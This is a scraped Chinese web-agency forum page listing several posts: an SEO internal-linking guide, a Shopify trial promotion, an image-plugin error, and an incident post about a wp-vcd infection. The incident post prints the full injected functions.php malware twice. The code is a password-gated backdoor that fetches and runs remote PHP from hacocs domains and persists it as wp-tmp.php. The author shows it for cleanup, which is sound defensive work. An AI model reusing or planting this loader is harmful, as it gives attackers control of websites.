Shopify Free Trial Apply
Shopify 60天试用
Shopify 14天试用
WordPress

WordPress

WordPress建站及WordPress SEO相关话题
Shopify

Shopify

Shopify建站及Shopify SEO相关话题
Google SEO

Google SEO

Google SEO相关话题
SEM

SEM

SEM相关话题
SNS 社媒营销

SNS 社媒营销

讨论SNS社交媒体营销话题
Zoho

Zoho

Zoho SAAS相关产品使用话题讨论
EDM

EDM

讨论Email Marketing相关话题
隽永东方售后服务

隽永东方售后服务

隽永东方售后服务专区

针对隽永东方建站客户产品添加,资料整理建议

WordPressLeo 发表了文章 • 1 个评论 • 3816 次浏览 • 2019-01-10 14:30 • 来自相关话题

产品添加,因为我们是乙方,不可能对甲方的产品熟悉,所以资料一定要简单明了。
以下是我司一个优质客户整理的众多产品资料中的一个产品,内容相当明晰,让添加者真的是心情愉快。










 
希望之后有协助添加产品需求的客户朋友可以尽量参照这种格式,这样提升大家的工作效率。
同事们也要在第一时间主动告诉客户需要怎样的产品资料格式,以免客户多做一遍产品整理! 查看全部
产品添加,因为我们是乙方,不可能对甲方的产品熟悉,所以资料一定要简单明了。
以下是我司一个优质客户整理的众多产品资料中的一个产品,内容相当明晰,让添加者真的是心情愉快。

1.png


2.png

 
希望之后有协助添加产品需求的客户朋友可以尽量参照这种格式,这样提升大家的工作效率。
同事们也要在第一时间主动告诉客户需要怎样的产品资料格式,以免客户多做一遍产品整理!

网站内链优化——内链设置指南

Google SEOcarol 发表了文章 • 1 个评论 • 5419 次浏览 • 2019-01-09 11:19 • 来自相关话题

写在前言:如果你对内链即其基本状况甚是了解,那么可以直接下拉看设置方法及注意事项!!!什么是内部链接?
 
    内部链接能够将网站的一个页面连接到网站的另一个页面。其展现形式如图:

     



 
     当前我们所建立的网站大多以这种方式进行连接。这是一个简单的网站设计和架构问题,搜索引擎也十分喜欢这类型的链接方式。
 
为什么我们需要内部链接?
 
内链是SEO十分重要的武器之一,设定内链的主要作用:
 
改善网站的索引
         如果网站具有强大的内链体系,Google抓取工具可以更轻松地查找发布和链接的新内容。
                   



内链增加了深层内容页面接收backlinks的能力
          创建强大的内链结构,能够在整个网站中创建清晰的点击路径和索引来提高内部页面的链接获取潜力。合理的站内链接会使引擎更加准确的认识文章内容所要表达的信息,从而使长尾关键词排名提升,网站权重增加。
内部链接为用户提供价值这是最重要的一点。花时间为网站添加内链可以增加每篇内容对用户的价值,通过内链可以让用户轻松找到网站上其他位置创建的其他资源——将用户带到目标网页。而且,内链还能够帮助用户更长时间地留在网站上并增加用户对网站的信任。

 内链设置方法
 
       好吧!其实上面的文案主要是介绍了内链并介绍了其重要性。重点干货还是这一部分。在进行内链设置前要先保证以下两点:
网站上已有撰写了的内容。即使只有一篇单一的文章,那也没关系。那是我们做内链的起点。网站会不断地进行文案内容的更新。为了使内链有效运作,制定定期更新计划非常重要。
 
查阅网站各页面内链数量大致情况
           打开google search console>links>打开 internal links  查看网站当前各个网页的内链数量

             



最好是在两篇文章中进行链接
           最好的内部链接是将一篇文章连接到另一篇文章的链接。这在站点深处创建了一个强大的内部链接结构。

          特别注意: 如果我们网站导航是正常的,网站重要的页面如主页,about us,contact us会有足够的链接指向这些页面。所以我们做内链时无需链接到这些页面!(在google search console可以证实这个情况,过多的指向这些页面也会被认为是作弊)
使用锚文本创建文本链接
           什么样的链接效果最好?
          很简单:含有描述性锚文本(anchor text)的链接。内链应该使用锚文本,建议使用描述目标页面的短语进行链接。举几个例子:

假如要链接到关于google trend的文章


      When planning website content, we can use google trends to get current events.


 假如要将更多流量导向产品页面比如我们官网建站营销,(文案是copy进行修改的,以其中一段进行举例,正文应该有800字左右)


Send paid traffic to content 

Marketing is like dating. You can’t expect to send cold traffic to a product or service and expect people to buy a high-ticket item.You’ll find that paid advertising is much more effective and affordable for selling high ticket items if you send people to an educational piece of content such as a blog post. And then remarketing those visitors and then driving them to your product or service.


In the long run, this is cheaper if you are selling products for above $500 and it is more effective as paid ads to content are cheaper than paid ads to landing pages.If you are not sure how to develop a plan, you can also consult a professional marketing platform to ask for help.

       我们要做的就是是将链接的主题与相关短语进行关联。网站具有“freshness value”,Google会对其进行检测并用作排名算法的一部分。用中文来说即“新鲜的血液给陈腐的大地带来了生机。”使用新链接ping旧网页有助于提高在搜索引擎中增加排名的可能性。
 
使用新的内链更新旧文章
          
         当更新旧的网页时,Google的抓取工具会重新对其进行进行索引,并且很可能会增加其在SERP中的排名(这个不仅是博客页,产品页,主页都可以进行文案更改的)。建议定期更新网站文案(至少一年一次)。更新方法真的很简单:
在开头添加一段新内容。在中间添加1-2个新段落和图片。为新创建的内容添加1-2个新的内链。
 
在符合逻辑的地方添加链接​

         需要做的是查找与目标页面能够相关的文案区域进行链接。要增加产品内链可以在结尾处增加提示访客行动的链接。数字营销的目标是吸引访问者。我们可以通过强大的营销声明进行呈现。在文章的结尾可以委婉的给出链接。以下是一些内部链接示例,可以将其放在营销页面的底部,作为号召性用语。(图片来自Andy Crestodina )
 
                 




避免过度优化注意事项
 
不要刻意使用关键字作为内链锚文本

 ​例如:Check out our nice good well page for more information.
(链接到: example.com/nice-good-well.htm  假设的是nice good well 是关键词,这样的锚文本最好不要尝试,尽早放弃)


 或者 We sell top-rated nice good well  
(链接到: example.com/excellent-nice-good-well.htm)

      锚文本过多的使用目标页面的具体url或者关键词是不好的。最恰当的方法是将这些锚文本带入文本段落中,通过创建一个长的锚文本,稀释anchor text中的关键字。

Visit my site Carol for more exact advice.Let’s do a good schedule .(以Carol为anchor text)
 


或者用长句The desert is the most important component of the wedding. Don’t ruin it.

 
避免将所有内链或外链指向顶级导航页面
         外链链接的情况也可以在google search console >link >top link page
         大多数情况下,网站的大部分链接都指向主页或顶级导航页面。当创建大量链接到主页或主要导航页面,如“contact us”,“about us”或“blog”时,会出现过度优化问题。因为这些页面本身就可以获得大量链接。相反,需要添加的是指向深层页面的内链来加强网站链接配置文件。
同一页面尽量不要出现相同的内链一个链接可以配几个关键词,但是一个关键词只能配一个链接。同一个页面中链向同一个页面的链接最好只出现一次。如果一个关键词配了多个链接,就很容易导致搜索引擎无法判断哪个是正确的链接页面,进而将之归入重复页面,从而无法获得任何权重。
 
一般800字的文案,有3-4个内链即可。
        通常一篇800字的文案,有3-4个内链就够了,这样既能保证有一定的内链,又不会让关键词密度过高。当然一定要保证内链到的目标页面相关性高,不然作用不大。
 
一些容易被忽视的内链
          除开文本内容,底部的相关文章推荐、最新文章推荐。产品页面相关产品推荐等也是属于内链的。 查看全部
写在前言:
如果你对内链即其基本状况甚是了解,那么可以直接下拉看设置方法及注意事项!!!
什么是内部链接?
 
    内部链接能够将网站的一个页面连接到网站的另一个页面。其展现形式如图:

     
图片1.png

 
     当前我们所建立的网站大多以这种方式进行连接。这是一个简单的网站设计和架构问题,搜索引擎也十分喜欢这类型的链接方式。
 
为什么我们需要内部链接?
 
内链是SEO十分重要的武器之一,设定内链的主要作用:
 
  • 改善网站的索引

         如果网站具有强大的内链体系,Google抓取工具可以更轻松地查找发布和链接的新内容。
                   
图片2.png

  • 内链增加了深层内容页面接收backlinks的能力

          创建强大的内链结构,能够在整个网站中创建清晰的点击路径和索引来提高内部页面的链接获取潜力。合理的站内链接会使引擎更加准确的认识文章内容所要表达的信息,从而使长尾关键词排名提升,网站权重增加。
  • 内部链接为用户提供价值这是最重要的一点。花时间为网站添加内链可以增加每篇内容对用户的价值,通过内链可以让用户轻松找到网站上其他位置创建的其他资源——将用户带到目标网页。而且,内链还能够帮助用户更长时间地留在网站上并增加用户对网站的信任。


 内链设置方法
 
       好吧!其实上面的文案主要是介绍了内链并介绍了其重要性。重点干货还是这一部分。在进行内链设置前要先保证以下两点:
  1. 网站上已有撰写了的内容。即使只有一篇单一的文章,那也没关系。那是我们做内链的起点。
  2. 网站会不断地进行文案内容的更新。为了使内链有效运作,制定定期更新计划非常重要。

 
  • 查阅网站各页面内链数量大致情况

           打开google search console>links>打开 internal links  查看网站当前各个网页的内链数量

             
图片3.png

  • 最好是在两篇文章中进行链接

           最好的内部链接是将一篇文章连接到另一篇文章的链接。这在站点深处创建了一个强大的内部链接结构。

          特别注意: 如果我们网站导航是正常的,网站重要的页面如主页,about us,contact us会有足够的链接指向这些页面。所以我们做内链时无需链接到这些页面!(在google search console可以证实这个情况,过多的指向这些页面也会被认为是作弊)
  • 使用锚文本创建文本链接

           什么样的链接效果最好?
          很简单:含有描述性锚文本(anchor text)的链接。内链应该使用锚文本,建议使用描述目标页面的短语进行链接。举几个例子:


假如要链接到关于google trend的文章



      When planning website content, we can use google trends to get current events.



 假如要将更多流量导向产品页面比如我们官网建站营销,(文案是copy进行修改的,以其中一段进行举例,正文应该有800字左右)



Send paid traffic to content 

Marketing is like dating. You can’t expect to send cold traffic to a product or service and expect people to buy a high-ticket item.You’ll find that paid advertising is much more effective and affordable for selling high ticket items if you send people to an educational piece of content such as a blog post. And then remarketing those visitors and then driving them to your product or service.



In the long run, this is cheaper if you are selling products for above $500 and it is more effective as paid ads to content are cheaper than paid ads to landing pages.If you are not sure how to develop a plan, you can also consult a professional marketing platform to ask for help.


       我们要做的就是是将链接的主题与相关短语进行关联。网站具有“freshness value”,Google会对其进行检测并用作排名算法的一部分。用中文来说即“新鲜的血液给陈腐的大地带来了生机。”使用新链接ping旧网页有助于提高在搜索引擎中增加排名的可能性。
 
  • 使用新的内链更新旧文章

          
         当更新旧的网页时,Google的抓取工具会重新对其进行进行索引,并且很可能会增加其在SERP中的排名(这个不仅是博客页,产品页,主页都可以进行文案更改的)。建议定期更新网站文案(至少一年一次)。更新方法真的很简单:
  1. 在开头添加一段新内容。
  2. 在中间添加1-2个新段落和图片。
  3. 为新创建的内容添加1-2个新的内链。

 
  • 在符合逻辑的地方添加链接​


         需要做的是查找与目标页面能够相关的文案区域进行链接。要增加产品内链可以在结尾处增加提示访客行动的链接。数字营销的目标是吸引访问者。我们可以通过强大的营销声明进行呈现。在文章的结尾可以委婉的给出链接。以下是一些内部链接示例,可以将其放在营销页面的底部,作为号召性用语。(图片来自Andy Crestodina )
 
                 
图片4.png


避免过度优化注意事项
 
  • 不要刻意使用关键字作为内链锚文本


 ​例如:Check out our nice good well page for more information.
(链接到: example.com/nice-good-well.htm  假设的是nice good well 是关键词,这样的锚文本最好不要尝试,尽早放弃)



 或者 We sell top-rated nice good well  
(链接到: example.com/excellent-nice-good-well.htm)


      锚文本过多的使用目标页面的具体url或者关键词是不好的。最恰当的方法是将这些锚文本带入文本段落中,通过创建一个长的锚文本,稀释anchor text中的关键字。


Visit my site Carol for more exact advice.Let’s do a good schedule .(以Carol为anchor text)
 



或者用长句The desert is the most important component of the wedding. Don’t ruin it.


 
  • 避免将所有内链或外链指向顶级导航页面

         外链链接的情况也可以在google search console >link >top link page
         大多数情况下,网站的大部分链接都指向主页或顶级导航页面。当创建大量链接到主页或主要导航页面,如“contact us”,“about us”或“blog”时,会出现过度优化问题。因为这些页面本身就可以获得大量链接。相反,需要添加的是指向深层页面的内链来加强网站链接配置文件。
  • 同一页面尽量不要出现相同的内链一个链接可以配几个关键词,但是一个关键词只能配一个链接。同一个页面中链向同一个页面的链接最好只出现一次。如果一个关键词配了多个链接,就很容易导致搜索引擎无法判断哪个是正确的链接页面,进而将之归入重复页面,从而无法获得任何权重。

 
  • 一般800字的文案,有3-4个内链即可。

        通常一篇800字的文案,有3-4个内链就够了,这样既能保证有一定的内链,又不会让关键词密度过高。当然一定要保证内链到的目标页面相关性高,不然作用不大。
 
  • 一些容易被忽视的内链

          除开文本内容,底部的相关文章推荐、最新文章推荐。产品页面相关产品推荐等也是属于内链的。

Ewww优化器插件报错“EWWW Image Optimizer需要exec() function”

WordPressLeo 发表了文章 • 1 个评论 • 3407 次浏览 • 2019-01-07 11:37 • 来自相关话题

使用EWWW插件时,您可能会看到以下错误:
EWWW Image Optimizer需要exec()。您的系统管理员已禁用此功能。
不幸的是,出于安全原因,服务器将无法启用exec()函数。
我们建议使用API​​或基于云的插件,其中所有图像处理都在远程服务器上进行,并且不需要安装任何本地可执行文件。
这个API可以在EWWW这个图片压缩插件里获取,通过购买图片压缩的套餐。(EWWW这个插件是较好的图片压缩插件,而且目前也没有免费版本的图片压缩插件,价格也不贵)





注意:如果想要网站获得更好一点的得分,那么这个图片压缩插件必不可少!
https://ewww.io/plans/
 
既然提到了图片压缩,必然要提下速度,公所周知,谷歌近期调整了pagespeed insight评分标准,更为严苛,之前测评80、90分的网站,可能现在只有十几二十分。优化无非以下几点:
1、script、link添加属性,但必要资源是不能添加这些属性的,会导致网站错乱,毕竟html只是骨架,而css、js就是衣服和行为动作,人没有衣服和行为动作,那只是一堆骨头,那这样的人不就是个死人?同理,那这样的网站,要了做什么?做个word文档不是更好?有些朋友不懂这些资源的原理,那既然有人给你解释了,就要接受,要懂得“鱼和熊掌不可兼得”的道理。
2、图片,任何不需要png格式的图片,都要用jpeg、webp格式图片,png格式压缩效率低下。
3、文件压缩
4、文件缓存,3、4两点,wordpress有插件可以操作。 查看全部
使用EWWW插件时,您可能会看到以下错误:
EWWW Image Optimizer需要exec()。您的系统管理员已禁用此功能。
不幸的是,出于安全原因,服务器将无法启用exec()函数。
我们建议使用API​​或基于云的插件,其中所有图像处理都在远程服务器上进行,并且不需要安装任何本地可执行文件。
这个API可以在EWWW这个图片压缩插件里获取,通过购买图片压缩的套餐。(EWWW这个插件是较好的图片压缩插件,而且目前也没有免费版本的图片压缩插件,价格也不贵)

1.png

注意:如果想要网站获得更好一点的得分,那么这个图片压缩插件必不可少!
https://ewww.io/plans/
 
既然提到了图片压缩,必然要提下速度,公所周知,谷歌近期调整了pagespeed insight评分标准,更为严苛,之前测评80、90分的网站,可能现在只有十几二十分。优化无非以下几点:
1、script、link添加属性,但必要资源是不能添加这些属性的,会导致网站错乱,毕竟html只是骨架,而css、js就是衣服和行为动作,人没有衣服和行为动作,那只是一堆骨头,那这样的人不就是个死人?同理,那这样的网站,要了做什么?做个word文档不是更好?有些朋友不懂这些资源的原理,那既然有人给你解释了,就要接受,要懂得“鱼和熊掌不可兼得”的道理。
2、图片,任何不需要png格式的图片,都要用jpeg、webp格式图片,png格式压缩效率低下。
3、文件压缩
4、文件缓存,3、4两点,wordpress有插件可以操作。

注册试用shopify60天,为网站上线做足准备

Shopifychad 发表了文章 • 1 个评论 • 4896 次浏览 • 2019-01-04 13:45 • 来自相关话题

Shopify是SaaS领域的购物车平台,适合跨境电商构建独立的电商网站。作为目前市场上构建电商网站最简洁有效的工具,其历史悠久。Shopify成立于2004年,截止2019年1月,全球已经有60万商家,为全球175个国家提供电商服务。从2012年到现在已经实现累计在线交易额400亿美金,并且每年保持平均74%的增加速度。Shopify是一家上市公司,公司规模宏大,有一个强大的技术团队24小时为商家提供服务器。有一套完备的资金结账系统,保证商家的资金安全。后台友好的商家界面让你分分钟了解怎么运营自己的电商网站。你还在等什么呢?赶紧隽永东方——Shopfiy官网合作伙伴试用吧。
作为最早一批加入SHopify Partner的公司,我司可以提供给我们的顾客两种注册方式,如下图:




第一种:Shopify14天试用,这种方式顾客可以自主注册网站信息,账号资料不用对外公开,当然注册的时候英语这块要求还是有点的。不过都是简单易懂的注册流程,信息填写完备即可。
第二种:Shopify60天试用,这种方式也是完全免费的,就是需要我司作为Shopify Partner帮您后台手动注册VIP账号。即可享受60天的免费Shopify体验,通过这种方式让顾客更好的熟悉后台操作,避免客户没有准备充分就上线造成的用户体验度差的影响。这种注册方式,需要我们的顾客提供一些信息资料,如下:




当然我司也会对顾客的信息资料严格保密,坚决保护顾客的合法权益。欢迎各位新老顾客加入体验 查看全部
Shopify是SaaS领域的购物车平台,适合跨境电商构建独立的电商网站。作为目前市场上构建电商网站最简洁有效的工具,其历史悠久。Shopify成立于2004年,截止2019年1月,全球已经有60万商家,为全球175个国家提供电商服务。从2012年到现在已经实现累计在线交易额400亿美金,并且每年保持平均74%的增加速度。Shopify是一家上市公司,公司规模宏大,有一个强大的技术团队24小时为商家提供服务器。有一套完备的资金结账系统,保证商家的资金安全。后台友好的商家界面让你分分钟了解怎么运营自己的电商网站。你还在等什么呢?赶紧隽永东方——Shopfiy官网合作伙伴试用吧。
作为最早一批加入SHopify Partner的公司,我司可以提供给我们的顾客两种注册方式,如下图:
1.png

第一种:Shopify14天试用,这种方式顾客可以自主注册网站信息,账号资料不用对外公开,当然注册的时候英语这块要求还是有点的。不过都是简单易懂的注册流程,信息填写完备即可。
第二种:Shopify60天试用,这种方式也是完全免费的,就是需要我司作为Shopify Partner帮您后台手动注册VIP账号。即可享受60天的免费Shopify体验,通过这种方式让顾客更好的熟悉后台操作,避免客户没有准备充分就上线造成的用户体验度差的影响。这种注册方式,需要我们的顾客提供一些信息资料,如下:
2.png

当然我司也会对顾客的信息资料严格保密,坚决保护顾客的合法权益。欢迎各位新老顾客加入体验

针对 Wordpress 网站的新一轮 wp-vcd 恶意软件攻击

WordPressLeo 发表了文章 • 1 个评论 • 4398 次浏览 • 2018-12-20 16:15 • 来自相关话题

最近发现一个客户的bluehost被暂停了,官方说有病毒,经过和bluehost客服长时间的交流,基本确定了wp-tmp.php、wp-vcd.php以及functions.php三个文件是病毒或是被植入了病毒。
经过对wordpress原始模板的参照,我发现wp-tmp.php、wp-vcd.php这两个文件是不存在的,大可放心删掉。
然后回到functions.php的排毒,

<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '506d7259a8f069cc6257622ae35e8322'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{




case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
                                                                           if ($file = @file_get_contents(__FILE__))
                                                                    {
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
                                                                                                             {
                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
                                                                           @file_put_contents(__FILE__, $file);
                           print "true";
                                                                                                             }

                                                                    }
}
}
break;
case 'change_code';
if (isset($_REQUEST['newcode']))
{
if (!empty($_REQUEST['newcode']))
{
                                                                           if ($file = @file_get_contents(__FILE__))
                                                                    {
                                                                                                 if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
                                                                                                             {
                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
                                                                           @file_put_contents(__FILE__, $file);
                           print "true";
                                                                                                             }

                                                                    }
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}







$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
        
        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
           if( fwrite($handle, "<?php\n" . $phpCode))
   {
   }
else
{
$tmpfname = tempnam('./', "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
}
fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }
        
$wp_auth_key='0082cfd4a04f1a4a5ffb8988545e59bd';
        if (($tmpcontent = @file_get_contents("http://www.hacocs.com/code.php";) OR $tmpcontent = @file_get_contents_tcurl("http://www.hacocs.com/code.php";)) AND stripos($tmpcontent, $wp_auth_key) !== false) {
            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        
        
        elseif ($tmpcontent = @file_get_contents("http://www.hacocs.pw/code.php";)  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        } 
        elseif ($tmpcontent = @file_get_contents("http://www.hacocs.top/code.php";)  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
           
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 
        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 
        } 
        
        
        
        
        
    }
}
//$start_wp_theme_tmp


//wp_tmp

//$end_wp_theme_tmp
?>
经过观察,这是一段植入的病毒程序,需要手工删掉。
 
这些攻击主要利用了目标网站过时的插件和主题中存在的安全漏洞。被标记为 "wp-vcd" 的恶意代码主要隐藏在合法的 WordPress 文件中,且被攻击者用于添加一个秘密的管理员账户,随后获取对受感染网站的完全控制权。
 
该恶意代码的初始版本通过一个名为 "wp-vcd.php" 的文件将恶意代码注入到 WordPress 核心文件中。
 
在我们发现的大多数案例中,恶意软件的注入都与过时的软件(插件或主题)有关。只要进行了简单的安全更新或是启用 WAF 都能够成功地阻断这种行为。该恶意代码非常简单,并没有通过编码或混淆函数来隐藏其恶意的意图……
 
所以建议大家插件常更新、主题常更新,这样也能有效防御病毒侵袭。 查看全部
最近发现一个客户的bluehost被暂停了,官方说有病毒,经过和bluehost客服长时间的交流,基本确定了wp-tmp.php、wp-vcd.php以及functions.php三个文件是病毒或是被植入了病毒。
经过对wordpress原始模板的参照,我发现wp-tmp.php、wp-vcd.php这两个文件是不存在的,大可放心删掉。
然后回到functions.php的排毒,

<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '506d7259a8f069cc6257622ae35e8322'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{




case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
                                                                           if ($file = @file_get_contents(__FILE__))
                                                                    {
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
                                                                                                             {
                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
                                                                           @file_put_contents(__FILE__, $file);
                           print "true";
                                                                                                             }

                                                                    }
}
}
break;
case 'change_code';
if (isset($_REQUEST['newcode']))
{
if (!empty($_REQUEST['newcode']))
{
                                                                           if ($file = @file_get_contents(__FILE__))
                                                                    {
                                                                                                 if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
                                                                                                             {
                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
                                                                           @file_put_contents(__FILE__, $file);
                           print "true";
                                                                                                             }

                                                                    }
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}







$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
        
        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
           if( fwrite($handle, "<?php\n" . $phpCode))
   {
   }
else
{
$tmpfname = tempnam('./', "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
}
fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }
        
$wp_auth_key='0082cfd4a04f1a4a5ffb8988545e59bd';
        if (($tmpcontent = @file_get_contents("http://www.hacocs.com/code.php";) OR $tmpcontent = @file_get_contents_tcurl("http://www.hacocs.com/code.php";)) AND stripos($tmpcontent, $wp_auth_key) !== false) {
            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        
        
        elseif ($tmpcontent = @file_get_contents("http://www.hacocs.pw/code.php";)  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        } 
        elseif ($tmpcontent = @file_get_contents("http://www.hacocs.top/code.php";)  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
           
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 
        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 
        } 
        
        
        
        
        
    }
}
//$start_wp_theme_tmp


//wp_tmp

//$end_wp_theme_tmp
?>
经过观察,这是一段植入的病毒程序,需要手工删掉。
 
这些攻击主要利用了目标网站过时的插件和主题中存在的安全漏洞。被标记为 "wp-vcd" 的恶意代码主要隐藏在合法的 WordPress 文件中,且被攻击者用于添加一个秘密的管理员账户,随后获取对受感染网站的完全控制权。
 
该恶意代码的初始版本通过一个名为 "wp-vcd.php" 的文件将恶意代码注入到 WordPress 核心文件中。
 
在我们发现的大多数案例中,恶意软件的注入都与过时的软件(插件或主题)有关。只要进行了简单的安全更新或是启用 WAF 都能够成功地阻断这种行为。该恶意代码非常简单,并没有通过编码或混淆函数来隐藏其恶意的意图……
 
所以建议大家插件常更新、主题常更新,这样也能有效防御病毒侵袭。

Shopify 根据浏览器的不同尺寸显示不同的图片

ShopifyBob 发表了文章 • 1 个评论 • 6463 次浏览 • 2018-12-19 09:26 • 来自相关话题

相信用过shopify的用户都了解一点,就是当我们在添加图片的时候,如果图片的高度很小,PC端显示没有问题的时候,在手机端就会变成一个长条,所以大家可能会很郁闷,怎么才能让移动端显示的图片大一点呢?
 
